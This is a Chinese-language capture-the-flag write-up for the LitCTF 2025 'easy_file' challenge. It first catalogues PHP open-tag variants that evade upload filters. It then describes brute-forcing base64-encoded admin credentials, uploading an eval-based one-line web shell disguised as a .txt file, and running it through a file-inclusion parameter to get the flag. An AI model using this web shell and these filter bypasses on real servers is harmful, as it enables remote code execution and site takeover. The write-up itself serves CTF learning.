短标签
用法常规是在说,我的这个上传的文件的内容会被检验,有php这个东西的就不行的这种情况
正常写法
1 | <?php |
短标签写法
需要 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 –enable-short-tags 选项。自 PHP5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么
1 | <? |
5.4起
1 | <?= |
和
1 | <? |
作用是一样的
7.0以下可用,无需调整参数
1 | <?= |
不推荐写法
为了 asp 程序员学习 php 所添加的语法糖写法。需要通过 php.ini 配置文件中的指令 asp_tags 打开后才可用
1 | <% |
php7后不解析,长标签写法
1 | <script language="php"> echo 1; </script> |
[LitCTF 2025]easy_file
首先进来目录扫描一下,发现有/admin.php(重定向到index.php)和/login.php还有/uploads
当时比赛的时候,我已经和爆破出来了账号密码了
这里账号admin就行了(当然也有可能是admin123这些)
账号和密码会被base64处理,用脚本把我们的字典处理一下(或者直接用bp里面的功能就能实现)
爆破账号密码就选集束炸弹,单个就选狙击手
这里很简单就可以爆破出来账号是admin,密码是password
之前就卡在了这一步,进入了后面发现,还有一个文件上传的题目在等着我
我当时比赛的时候试了很多的情况都没有成功
后面怎么打?
首先是没有登陆进去之前,有一个
1 | //file查看头像 |
的这个提示
我们这里就可以考虑文件包含的这个方面的内容了
首先,我们思路一定是说,要么直接上传一个php文件,通过改后缀这些等等
还有就是,上传图片,然后让服务器把图片内容当成php来解析
我的火狐的浏览器有一些问题,每次需要到microsoft里面,才能正确看到版本信息这些,php版本是7.3版本的
对于这个题目,我们结合题目告诉你的
这个是我们的木马
1 | <?=@eval($_POST['a']);?> |
放进txt文件里就可以了
思路就是利用 file 读取上传的 xjmuma.txt 文件,然后文件就被解析咯
1 | http://node6.anna.nssctf.cn:25621/admin.php?file=uploads/muma.txt |
访问这个就可以了
post传入我们的参数
最后拿到flag